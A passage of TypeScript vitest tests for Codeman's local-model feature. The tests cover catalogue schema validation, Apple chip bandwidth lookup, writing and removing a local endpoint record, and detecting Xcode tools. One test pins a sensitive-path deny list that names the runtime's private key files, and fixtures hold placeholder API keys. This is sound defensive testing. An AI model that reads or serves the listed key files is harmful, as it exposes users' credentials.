it('refuses a key it does not know, at the top and inside a row', () => {
// The whole point of having no `runtime` block: a data row can never carry a download URL.
expect(issuesOf({ ...copy(), runtime: { url: 'https://example.com/x.tgz', sha256: 'abc' } })).not.toEqual([]);
expect(issuesOf(withFirstModel({ url: 'https://example.com/model' }))).not.toEqual([]);
const catalog = copy();
expect(issuesOf({ ...catalog, harnesses: [{ ...catalog.harnesses[0], dialect: 'openai' }] })).not.toEqual([]);
expect(issuesOf({ ...catalog, chips: [{ match: 'M4', gbps: 120, cores: 10 }] })).not.toEqual([]);
// The two figures the need was once computed from are gone, and a row that still has one is refused.
expect(issuesOf(withFirstModel({ kvBytesPerToken: 32768 }))).not.toEqual([]);
expect(issuesOf({ ...catalog, promptCacheTiers: [{ minMemGb: 0, bytes: 1 }] })).not.toEqual([]);
});
it('requires the memory figures and where they come from on every model row', () => {
for (const field of ['heldBytesPerToken', 'overheadBytes', 'peakExtraBytes', 'figures'] as const) {
const row: Record<string, unknown> = { ...copy().models[0] };
delete row[field];
const issues = issuesOf({ ...copy(), models: [row] });
expect(issues, field).toHaveLength(1);
expect(issues[0]).toContain(`models.0.${field}`);
}
expect(issuesOf(withFirstModel({ figures: 'guessed' }))).not.toEqual([]);
// What stays held per token must be a positive whole number of bytes; the other two may be 0.
expect(issuesOf(withFirstModel({ heldBytesPerToken: 0 }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ heldBytesPerToken: 36.5 }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ overheadBytes: 0, peakExtraBytes: 0 }))).toEqual([]);
expect(issuesOf(withFirstModel({ overheadBytes: -1 }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ peakExtraBytes: 1.5 }))).not.toEqual([]);
});
it('requires paramsB and tested on every model row', () => {
for (const field of ['paramsB', 'tested'] as const) {
const row: Record<string, unknown> = { ...copy().models[0] };
delete row[field];
const issues = issuesOf({ ...copy(), models: [row] });
expect(issues, field).toHaveLength(1);
expect(issues[0]).toContain(`models.0.${field}`);
}
});
it('refuses sizes and counts that are not positive whole numbers', () => {
expect(issuesOf(withFirstModel({ bytes: 0 }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ bytes: 1.5 }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ contexts: [] }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ paramsB: 0 }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ speedPer100Gbps: 0 }))).not.toEqual([]);
});
it('accepts a tested entry and checks its shape', () => {
const good = { chip: 'Apple M4', memGb: 16, cli: 'opencode', date: '2026-11-06' };
expect(issuesOf(withFirstModel({ tested: [good] }))).toEqual([]);
expect(issuesOf(withFirstModel({ tested: [{ ...good, date: '6 November 2026' }] }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ tested: [{ ...good, memGb: 0 }] }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ tested: [{ ...good, result: 'pass' }] }))).not.toEqual([]);
// The speed measured in that test is optional, and a speed is above 0.
expect(issuesOf(withFirstModel({ tested: [{ ...good, tokensPerSecond: 67.7 }] }))).toEqual([]);
expect(issuesOf(withFirstModel({ tested: [{ ...good, tokensPerSecond: 0 }] }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ tested: [{ ...good, tokensPerSecond: '67.7' }] }))).not.toEqual([]);
});
it('refuses another schema version and a date that is not ISO', () => {
expect(issuesOf({ ...copy(), schema: 2 })).not.toEqual([]);
expect(issuesOf({ ...copy(), updated: 'today' })).not.toEqual([]);
});
});
describe('the schema, across rows', () => {
it('refuses a repeated model id', () => {
const catalog = copy();
catalog.models[1] = { ...catalog.models[1], id: catalog.models[0].id };
expect(issuesOf(catalog)).toEqual(['models.1.id: model ids must be unique']);
});
it('refuses a repeated model rank, which would leave the order of two models to chance', () => {
const catalog = copy();
catalog.models[1] = { ...catalog.models[1], rank: catalog.models[0].rank };
expect(issuesOf(catalog)).toEqual(['models.1.rank: model ranks must be unique']);
});
it('refuses a harness listed twice and a repeated harness rank', () => {
const twice = copy();
twice.harnesses.push({ cli: twice.harnesses[0].cli, minContext: 32768, rank: 9 });
expect(issuesOf(twice)).toEqual(['harnesses.3.cli: a harness may be listed only once']);
const sameRank = copy();
sameRank.harnesses[1] = { ...sameRank.harnesses[1], rank: sameRank.harnesses[0].rank };
expect(issuesOf(sameRank)).toEqual(['harnesses.1.rank: harness ranks must be unique']);
});
it('refuses contexts that are not listed largest first, or that repeat', () => {
expect(issuesOf(withFirstModel({ contexts: [32768, 65536] }))).toEqual([
'models.0.contexts.1: contexts must be listed largest first, without repeats',
]);
expect(issuesOf(withFirstModel({ contexts: [65536, 65536] }))).toEqual([
'models.0.contexts.1: contexts must be listed largest first, without repeats',
]);
});
it('refuses a tested entry for a harness the catalogue does not list', () => {
const entry = { chip: 'Apple M4', memGb: 16, cli: 'not-a-harness', date: '2026-11-06' };
expect(issuesOf(withFirstModel({ tested: [entry] }))).toEqual([
'models.0.tested.0.cli: a tested entry must name a harness of this catalogue',
]);
});
it('refuses chips that are not listed most specific first', () => {
const catalog = copy();
catalog.chips = [
{ match: 'M4', gbps: 120 },
{ match: 'M4 Max', gbps: 410 },
];
expect(issuesOf(catalog)).toEqual([
"chips.1.match: chips must be listed most specific first: 'M4' comes before 'M4 Max'",
]);
const repeated = copy();
repeated.chips = [
{ match: 'M4', gbps: 120 },
{ match: 'm4', gbps: 130 },
];
expect(issuesOf(repeated)).toHaveLength(1);
});
});
describe('the chips table', () => {
const chips = STOCK_LOCAL_MODEL_CATALOG.chips;
it('holds every chip of the source table that shipped', () => {
// Bandwidth column of https://github.com/ggml-org/llama.cpp/discussions/4167, read on
// 2026-11-06. A name that covers two bandwidths has the lower one.
expect(Object.fromEntries(chips.map((row) => [row.match, row.gbps]))).toEqual({
'M5 Ultra': 1228,
'M3 Ultra': 800,
'M2 Ultra': 800,
'M1 Ultra': 800,
'M5 Max': 460,
'M4 Max': 410,
'M3 Max': 300,
'M2 Max': 400,
'M1 Max': 400,
'M5 Pro': 307,
'M4 Pro': 273,
'M3 Pro': 150,
'M2 Pro': 200,
'M1 Pro': 200,
M5: 154,
M4: 120,
M3: 100,
M2: 100,
M1: 68,
});
});
it('finds each row under the name macOS reports for that chip', () => {
// No row is hidden by an earlier one: 'Apple M4 Max' is 410, not the 120 of 'M4'.
for (const row of chips) {
expect(chipBandwidthGbps(chips, `Apple ${row.match}`), row.match).toBe(row.gbps);
}
});
it('knows the chips of the two test Macs', () => {
expect(chipBandwidthGbps(chips, 'Apple M4')).toBe(120);
expect(chipBandwidthGbps(chips, 'Apple M5 Pro')).toBe(307);
});
it('never guesses: a chip that no row names has no bandwidth', () => {
const unknown = [
// A base chip that is not in the table.
'Apple M6',
// A variant the table has never heard of must not borrow the figure of its base chip.
'Apple M6 Pro',
'Apple M4 Ultra',
'Apple M5 Extreme',
// A name that merely contains a known name.
'Apple M10',
'Apple M12 Pro',
'Apple M1 Max (Virtual)',
'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz',
'VirtualApple @ 2.50GHz processor',
'Max',
'',
];
for (const chip of unknown) expect(chipBandwidthGbps(chips, chip), chip).toBeUndefined();
expect(chipBandwidthGbps(chips, undefined)).toBeUndefined();
expect(chipBandwidthGbps([], 'Apple M4')).toBeUndefined();
});
});
describe('chipNameMatches', () => {
it('matches the whole chip name at the end of the string, ignoring case and padding', () => {
expect(chipNameMatches('Apple M4 Pro', 'M4 Pro')).toBe(true);
expect(chipNameMatches('Apple M4', 'M4')).toBe(true);
expect(chipNameMatches('M4', 'M4')).toBe(true);
expect(chipNameMatches(' apple m4 pro ', 'M4 PRO')).toBe(true);
});
it('does not match a part of a longer name', () => {
expect(chipNameMatches('Apple M4 Pro', 'M4')).toBe(false);
expect(chipNameMatches('Apple M14', 'M4')).toBe(false);
expect(chipNameMatches('Apple M10', 'M1')).toBe(false);
expect(chipNameMatches('Apple XM4', 'M4')).toBe(false);
expect(chipNameMatches('Apple M4', '')).toBe(false);
expect(chipNameMatches('', 'M4')).toBe(false);
});
});
+489
View File
@@ -0,0 +1,489 @@
/**
* @fileoverview Connecting the installed local model to Codeman and undoing it
* (src/local-model/connect.ts): the two writes outside the local model folder.
*
* What is pinned:
* - the endpoint record's exact shape, and that it passes the schema every saved endpoint passes;
* - connecting writes the record and switches the settings flag on, keeps every other
* endpoint and setting, and is idempotent;
* - the reserved id is never taken over: a record with it that is not ours refuses the
* connect and changes nothing;
* - a refused write leaves the pair as it was (a record this call added is taken out again);
* - disconnecting removes our record, and restores the flag ONLY when this feature switched
* it on and no other endpoint is saved;
* - the digest comparison, the session names of the DELETE's 409, the managed-record test,
* and that the runtime's private key cannot be served.
*
* Port: N/A (no server; the two files live in the test's temp data dir).
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
import { dirname, join } from 'node:path';
import { dataPath, getDataDir } from '../src/config/instance.js';
import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
import {
buildLocalEndpointRecord,
compareModelDigest,
connectLocalModel,
disconnectLocalModel,
ensureLocalEndpoint,
inspectLocalEndpoint,
isLocalModelEndpointId,
isManagedLocalEndpoint,
isSameLocalEndpoint,
LOCAL_MODEL_ENDPOINT_ID,
LOCAL_MODEL_ENDPOINT_LABEL,
moveLocalEndpoint,
sessionNamesUsingEndpoint,
} from '../src/local-model/connect.js';
import { CustomModelHostSchema } from '../src/web/schemas.js';
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
import { isSensitivePath } from '../src/web/sensitive-path.js';
const HOSTS = () => customModelHostsPath(getDataDir());
const STATE = () => dataPath('local-model.json');
const INPUT = { port: 11435, modelId: 'qwen3.6:35b-a3b', context: 131072 };
const OTHER: CustomModelHost = {
id: 'office-gpu',
label: 'Office GPU',
baseUrl: 'http://192.168.1.50:8080',
apiKey: 'sk-keep-me',
models: ['some-model'],
};
const RECORD: CustomModelHost = {
id: 'local-ollama',
label: 'This Mac',
baseUrl: 'http://127.0.0.1:11435',
authStyle: 'bearer',
models: ['qwen3.6:35b-a3b'],
defaultModelId: 'qwen3.6:35b-a3b',
defaultContextLength: 131072,
};
function writeSettings(settings: Record<string, unknown>): void {
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, JSON.stringify(settings));
}
const readSettings = (): Record<string, unknown> => JSON.parse(readFileSync(SETTINGS_PATH, 'utf8'));
function writeHosts(hosts: CustomModelHost[]): void {
writeFileSync(HOSTS(), JSON.stringify(hosts));
}
afterEach(() => {
rmSync(HOSTS(), { force: true });
rmSync(SETTINGS_PATH, { force: true });
rmSync(STATE(), { force: true });
vi.restoreAllMocks();
});
describe('buildLocalEndpointRecord', () => {
it('is the one record this feature writes, to the letter', () => {
expect(LOCAL_MODEL_ENDPOINT_ID).toBe('local-ollama');
expect(LOCAL_MODEL_ENDPOINT_LABEL).toBe('This Mac');
expect(buildLocalEndpointRecord(INPUT)).toEqual(RECORD);
});
it('carries no API key and no field of its own invention', () => {
expect(Object.keys(buildLocalEndpointRecord(INPUT)).sort()).toEqual([
'authStyle',
'baseUrl',
'defaultContextLength',
'defaultModelId',
'id',
'label',
'models',
]);
});
it('passes the schema a saved endpoint must pass, unchanged', () => {
const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(INPUT));
expect(parsed.success).toBe(true);
expect(parsed.data).toEqual(RECORD);
});
it('the port of the runtime is the port of the URL, and the chosen context is the default context', () => {
const record = buildLocalEndpointRecord({ port: 11442, modelId: 'gpt-oss:20b', context: 65536 });
expect(record.baseUrl).toBe('http://127.0.0.1:11442');
expect(record.models).toEqual(['gpt-oss:20b']);
expect(record.defaultModelId).toBe('gpt-oss:20b');
expect(record.defaultContextLength).toBe(65536);
});
});
describe('connectLocalModel', () => {
it('on a fresh data dir: writes the record, switches the flag on, and reports that it was off', async () => {
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: true, flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('keeps every other endpoint and every other setting', async () => {
writeHosts([OTHER]);
writeSettings({ tmuxHistoryLimit: 5000, customModelEndpointsEnabled: false, voiceSettings: { apiKey: 'dg' } });
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: true, flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
expect(readSettings()).toEqual({
tmuxHistoryLimit: 5000,
customModelEndpointsEnabled: true,
voiceSettings: { apiKey: 'dg' },
});
});
it('a flag that was already on is reported as such and the settings file is not rewritten', async () => {
writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a'] });
const before = readFileSync(SETTINGS_PATH, 'utf8');
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: true, flagWasEnabled: true });
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(before);
});
it('is idempotent: a second connect replaces our record and hands the first flag value back', async () => {
writeHosts([OTHER]);
const first = await connectLocalModel({ ...INPUT, ours: false });
expect(first).toEqual({ ok: true, flagWasEnabled: false });
// The second connect finds the flag ON, because the first switched it on. The value that
// is remembered must stay the one from before this feature touched it.
const second = await connectLocalModel({ ...INPUT, context: 65536, ours: true, flagWasEnabled: false });
expect(second).toEqual({ ok: true, flagWasEnabled: false });
const hosts = await readCustomModelHosts(getDataDir());
expect(hosts.map((host) => host.id)).toEqual(['office-gpu', 'local-ollama']);
expect(hosts[1].defaultContextLength).toBe(65536);
});
it('replaces our own record in place when the state says it is ours', async () => {
writeHosts([{ ...RECORD, baseUrl: 'http://127.0.0.1:11440', models: ['old:1b'] }, OTHER]);
const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: true });
expect(result).toEqual({ ok: true, flagWasEnabled: true });
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD, OTHER]);
});
it('never takes over a record with the reserved id that is not ours, and changes nothing', async () => {
const theirs: CustomModelHost = { id: 'local-ollama', label: 'My own Ollama', baseUrl: 'http://127.0.0.1:11434' };
writeHosts([theirs]);
writeSettings({ customModelEndpointsEnabled: false });
const hostsBefore = readFileSync(HOSTS(), 'utf8');
const settingsBefore = readFileSync(SETTINGS_PATH, 'utf8');
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: false, code: 'endpoint-id-taken' });
expect(readFileSync(HOSTS(), 'utf8')).toBe(hostsBefore);
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settingsBefore);
});
it('an endpoint store that does not parse is connect-failed: neither file is touched', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(HOSTS(), '[{"id":"x","apiKey":"sk-secret"},');
writeSettings({ customModelEndpointsEnabled: false });
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(result.ok === false && result.detail).toContain('custom-model-hosts.json');
expect(result.ok === false && result.detail).not.toContain('sk-secret');
expect(readFileSync(HOSTS(), 'utf8')).toBe('[{"id":"x","apiKey":"sk-secret"},');
expect(readSettings()).toEqual({ customModelEndpointsEnabled: false });
});
it('a settings file that does not parse is connect-failed, and the record just added is taken out again', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeHosts([OTHER]);
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, '{"customModelEndpointsEnabled":');
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(result.ok === false && result.detail).toContain('settings.json');
// The pair is not left half done: a later attempt starts from the same place.
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe('{"customModelEndpointsEnabled":');
});
it('a settings failure does not take out a record that was ours before this call', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeHosts([RECORD]);
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, 'not json');
const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
});
it('a port that cannot be a URL is connect-failed before anything is written', async () => {
const result = await connectLocalModel({ port: Number.NaN, modelId: 'x:y', context: 131072, ours: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(existsSync(HOSTS())).toBe(false);
expect(existsSync(SETTINGS_PATH)).toBe(false);
});
});
describe('moveLocalEndpoint', () => {
it('moves our record to the new port and keeps everything else of it', async () => {
writeHosts([OTHER, RECORD]);
await moveLocalEndpoint(11441);
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, { ...RECORD, baseUrl: 'http://127.0.0.1:11441' }]);
});
it('a missing record is not an error and creates no file', async () => {
await moveLocalEndpoint(11441);
expect(existsSync(HOSTS())).toBe(false);
writeHosts([OTHER]);
await moveLocalEndpoint(11441);
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
});
});
describe('ensureLocalEndpoint', () => {
it('puts our record back when it is gone, keeps the other endpoints, and does not touch the settings', async () => {
writeHosts([OTHER]);
writeSettings({ customModelEndpointsEnabled: false });
expect(await ensureLocalEndpoint(INPUT)).toBe(true);
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
// A person who switched the setting off meant to.
expect(readSettings()).toEqual({ customModelEndpointsEnabled: false });
});
it('never replaces a record that is there, ours or not', async () => {
const theirs: CustomModelHost = { id: 'local-ollama', label: 'Edited', baseUrl: 'http://127.0.0.1:11499' };
writeHosts([theirs]);
const before = readFileSync(HOSTS(), 'utf8');
expect(await ensureLocalEndpoint(INPUT)).toBe(false);
expect(readFileSync(HOSTS(), 'utf8')).toBe(before);
});
it('never throws: a store that does not parse is left alone', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(HOSTS(), '{broken');
expect(await ensureLocalEndpoint(INPUT)).toBe(false);
expect(readFileSync(HOSTS(), 'utf8')).toBe('{broken');
});
});
describe('disconnectLocalModel', () => {
it('removes our record and switches the flag off again when this feature switched it on and no other endpoint is left', async () => {
writeHosts([RECORD]);
writeSettings({ customModelEndpointsEnabled: true, tmuxHistoryLimit: 5000 });
await disconnectLocalModel({ flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: false, tmuxHistoryLimit: 5000 });
});
it('leaves the flag on when it was on before this feature', async () => {
writeHosts([RECORD]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: true });
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('leaves the flag on when another endpoint is still saved, although this feature switched it on', async () => {
writeHosts([OTHER, RECORD]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('leaves the flag on when it was on before AND another endpoint is saved', async () => {
writeHosts([RECORD, OTHER]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: true });
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('is idempotent: a second call changes nothing, and a flag somebody switched off stays off', async () => {
writeHosts([RECORD]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: false });
const hosts = readFileSync(HOSTS(), 'utf8');
const settings = readFileSync(SETTINGS_PATH, 'utf8');
await disconnectLocalModel({ flagWasEnabled: false });
expect(readFileSync(HOSTS(), 'utf8')).toBe(hosts);
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settings);
});
it('with nothing saved at all it writes neither file', async () => {
await disconnectLocalModel({ flagWasEnabled: false });
expect(existsSync(HOSTS())).toBe(false);
expect(existsSync(SETTINGS_PATH)).toBe(false);
});
it('rejects when the endpoint store must not be overwritten, and leaves the flag alone', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(HOSTS(), '{broken');
writeSettings({ customModelEndpointsEnabled: true });
await expect(disconnectLocalModel({ flagWasEnabled: false })).rejects.toThrow('custom-model-hosts.json');
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('connect then disconnect leaves the data dir as it was found', async () => {
writeHosts([OTHER]);
writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] });
const connected = await connectLocalModel({ ...INPUT, ours: false });
expect(connected).toEqual({ ok: true, flagWasEnabled: true });
await disconnectLocalModel({ flagWasEnabled: true });
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] });
});
});
describe('the reserved id and the managed record', () => {
it('isLocalModelEndpointId is an exact match', () => {
expect(isLocalModelEndpointId('local-ollama')).toBe(true);
for (const id of ['Local-Ollama', 'local-ollama ', 'local-ollama-2', 'ollama', '']) {
expect(isLocalModelEndpointId(id)).toBe(false);
}
});
it('a record with the reserved id is managed only while the state file records it as ours', async () => {
// No state file: somebody made that record by hand.
expect(await isManagedLocalEndpoint('local-ollama')).toBe(false);
const installed = {
schema: 1,
state: 'installed',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
};
writeFileSync(STATE(), JSON.stringify(installed));
expect(await isManagedLocalEndpoint('local-ollama')).toBe(false);
writeFileSync(
STATE(),
JSON.stringify({ ...installed, connection: { endpointId: 'local-ollama', flagWasEnabled: false } })
);
expect(await isManagedLocalEndpoint('local-ollama')).toBe(true);
// Any other id is never managed, whatever the state file says.
expect(await isManagedLocalEndpoint('office-gpu')).toBe(false);
});
});
describe('sessionNamesUsingEndpoint', () => {
const sessions = [
{ name: 'w1-app', customModel: { endpointId: 'local-ollama' } },
{ name: 'w2-app' },
{ name: 'w3-lib', customModel: { endpointId: 'office-gpu' } },
{ name: 'w4-lib', customModel: { endpointId: 'local-ollama' } },
];
it('names the sessions on our endpoint, in the order given', () => {
expect(sessionNamesUsingEndpoint(sessions)).toEqual(['w1-app', 'w4-lib']);
});
it('takes any iterable and another endpoint id', () => {
expect(sessionNamesUsingEndpoint(new Set(sessions), 'office-gpu')).toEqual(['w3-lib']);
expect(sessionNamesUsingEndpoint(new Map().values())).toEqual([]);
});
});
describe('compareModelDigest', () => {
const digest = '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba';
it('same digest, same model', () => {
expect(compareModelDigest(digest, digest)).toBe('same');
});
it('a prefix or another letter case is not a change', () => {
expect(compareModelDigest(digest, `sha256:${digest}`)).toBe('same');
expect(compareModelDigest(digest.toUpperCase(), ` ${digest} `)).toBe('same');
});
it('another digest under the same name is a change', () => {
expect(compareModelDigest(digest, digest.replace(/^0/, '1'))).toBe('changed');
expect(compareModelDigest(digest, digest.slice(0, 12))).toBe('changed');
});
it('is unknown when either side is absent or empty', () => {
expect(compareModelDigest(undefined, digest)).toBe('unknown');
expect(compareModelDigest(digest, undefined)).toBe('unknown');
expect(compareModelDigest('', digest)).toBe('unknown');
expect(compareModelDigest(digest, 'sha256:')).toBe('unknown');
expect(compareModelDigest(undefined, undefined)).toBe('unknown');
});
});
describe('a record that says what ours would say is ours', () => {
it('isSameLocalEndpoint: the address, the one model, its context and no key', () => {
expect(isSameLocalEndpoint(RECORD, INPUT)).toBe(true);
// What discovery may have added does not make it somebody else's.
expect(
isSameLocalEndpoint(
{ ...RECORD, modelContextLengths: { 'qwen3.6:35b-a3b': 131072 }, lastDiscoveredAt: '2026-11-06T10:00:00Z' },
INPUT
)
).toBe(true);
const differs: Partial<CustomModelHost>[] = [
{ baseUrl: 'http://127.0.0.1:11434' },
{ label: 'My own' },
{ models: ['qwen3.6:35b-a3b', 'gpt-oss:20b'] },
{ models: ['gpt-oss:20b'], defaultModelId: 'gpt-oss:20b' },
{ defaultContextLength: 65536 },
{ apiKey: 'sk-not-ours' },
{ authStyle: 'api-key' },
];
for (const change of differs) expect(isSameLocalEndpoint({ ...RECORD, ...change }, INPUT)).toBe(false);
});
it('connectLocalModel takes such a record as ours although the caller did not say so', async () => {
writeSettings({});
writeHosts([OTHER, RECORD]);
expect(await connectLocalModel({ ...INPUT, ours: false })).toEqual({ ok: true, flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
});
it('a record with our id that says something else is still somebody else: taken, and untouched', async () => {
const foreign = { ...RECORD, baseUrl: 'http://127.0.0.1:11434' };
writeHosts([foreign]);
expect(await connectLocalModel({ ...INPUT, ours: false })).toEqual({ ok: false, code: 'endpoint-id-taken' });
expect(await readCustomModelHosts(getDataDir())).toEqual([foreign]);
});
});
describe('inspectLocalEndpoint: what the connect step finds before it claims the connection', () => {
it('nothing saved and no settings file: absent, and the flag is off', async () => {
expect(await inspectLocalEndpoint(INPUT)).toEqual({ record: 'absent', flagEnabled: false });
});
it('reads the flag as it is now, and writes nothing', async () => {
writeSettings({ customModelEndpointsEnabled: true, tmuxHistoryLimit: 5000 });
writeHosts([OTHER]);
const settingsBefore = readFileSync(SETTINGS_PATH, 'utf8');
const hostsBefore = readFileSync(HOSTS(), 'utf8');
expect(await inspectLocalEndpoint(INPUT)).toEqual({ record: 'absent', flagEnabled: true });
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settingsBefore);
expect(readFileSync(HOSTS(), 'utf8')).toBe(hostsBefore);
});
it("tells our record from somebody else's under the same id", async () => {
writeHosts([RECORD]);
expect((await inspectLocalEndpoint(INPUT)).record).toBe('same');
expect((await inspectLocalEndpoint({ ...INPUT, port: 11436 })).record).toBe('other');
});
});
describe('moveLocalEndpoint', () => {
it('a record that is already on the port is not written again', async () => {
writeHosts([RECORD]);
const before = readFileSync(HOSTS(), 'utf8');
await moveLocalEndpoint(11435);
expect(readFileSync(HOSTS(), 'utf8')).toBe(before);
await moveLocalEndpoint(11440);
expect((await readCustomModelHosts(getDataDir()))[0].baseUrl).toBe('http://127.0.0.1:11440');
});
});
describe('the runtime keeps a private key that is never served', () => {
it('everything in the private home is on the sensitive list, and so is a runtime key under a real home', () => {
const home = join(getDataDir(), 'local-model', 'home');
expect(isSensitivePath(join(home, '.ollama', 'id_ed25519'))).toBe(true);
expect(isSensitivePath(join(home, '.ollama', 'id_ed25519.pub'))).toBe(true);
expect(isSensitivePath('/Users/me/.codeman-beta/local-model/home/.ollama/server.json')).toBe(true);
expect(isSensitivePath('/Users/me/.ollama/id_ed25519')).toBe(true);
});
it('the model store and the state file hold no secret and stay ordinary files', () => {
expect(isSensitivePath(join(getDataDir(), 'local-model', 'models', 'manifest'))).toBe(false);
expect(isSensitivePath('/Users/me/.ollama/models/blobs/sha256-abc')).toBe(false);
});
});
+153
View File
@@ -0,0 +1,153 @@
/**
* @fileoverview Tests for src/local-model/developer-tools.ts: whether this Mac has the
* developer tools a coding agent calls.
*
* Pinned: the ONLY command it ever runs is `/usr/bin/xcode-select -p` (never `git` or
* `python3`, which open a system window on a Mac without the tools), with a timeout; exit 0
* is `present`, any other exit is `missing`, no answer is `unknown`; off macOS nothing is run
* at all; nothing it is given can make it throw; and an answer is reused for a minute, so a
* window that polls once a second does not spawn once a second.
*
* Port: N/A (the runner is injected; nothing is spawned).
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
import {
checkDeveloperTools,
createDeveloperToolsCheck,
DEVELOPER_TOOLS_TIMEOUT_MS,
resetDeveloperToolsCache,
} from '../src/local-model/developer-tools.js';
type Run = (file: string, args: readonly string[], timeoutMs: number) => Promise<number | null>;
/** A runner that answers `code` and records how it was called. */
function runner(code: number | null): { run: Run; calls: [string, readonly string[], number][] } {
const calls: [string, readonly string[], number][] = [];
return {
calls,
run: async (file, args, timeoutMs) => {
calls.push([file, args, timeoutMs]);
return code;
},
};
}
afterEach(() => {
resetDeveloperToolsCache();
vi.restoreAllMocks();
});
describe('checkDeveloperTools', () => {
it('runs exactly one command: /usr/bin/xcode-select -p, bounded', async () => {
const { run, calls } = runner(0);
expect(await checkDeveloperTools({ platform: 'darwin', run })).toBe('present');
expect(calls).toEqual([['/usr/bin/xcode-select', ['-p'], DEVELOPER_TOOLS_TIMEOUT_MS]]);
expect(DEVELOPER_TOOLS_TIMEOUT_MS).toBe(2_000);
});
it('never names git, python or xcrun, whatever the answer is', async () => {
for (const code of [0, 1, 2, null]) {
const { run, calls } = runner(code);
await checkDeveloperTools({ platform: 'darwin', run });
expect(calls).toHaveLength(1);
expect(calls[0][0]).toBe('/usr/bin/xcode-select');
expect(JSON.stringify(calls)).not.toMatch(/git|python|xcrun/);
}
});
it('reads exit 0 as present and any other exit as missing', async () => {
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(0).run })).toBe('present');
// A Mac without the tools: "unable to get active developer directory", exit 2.
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(2).run })).toBe('missing');
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(1).run })).toBe('missing');
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(127).run })).toBe('missing');
});
it('reads no answer as unknown: a timeout, a command that could not be started, a runner that throws', async () => {
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(null).run })).toBe('unknown');
const throwing: Run = async () => {
throw new Error('spawn EACCES');
};
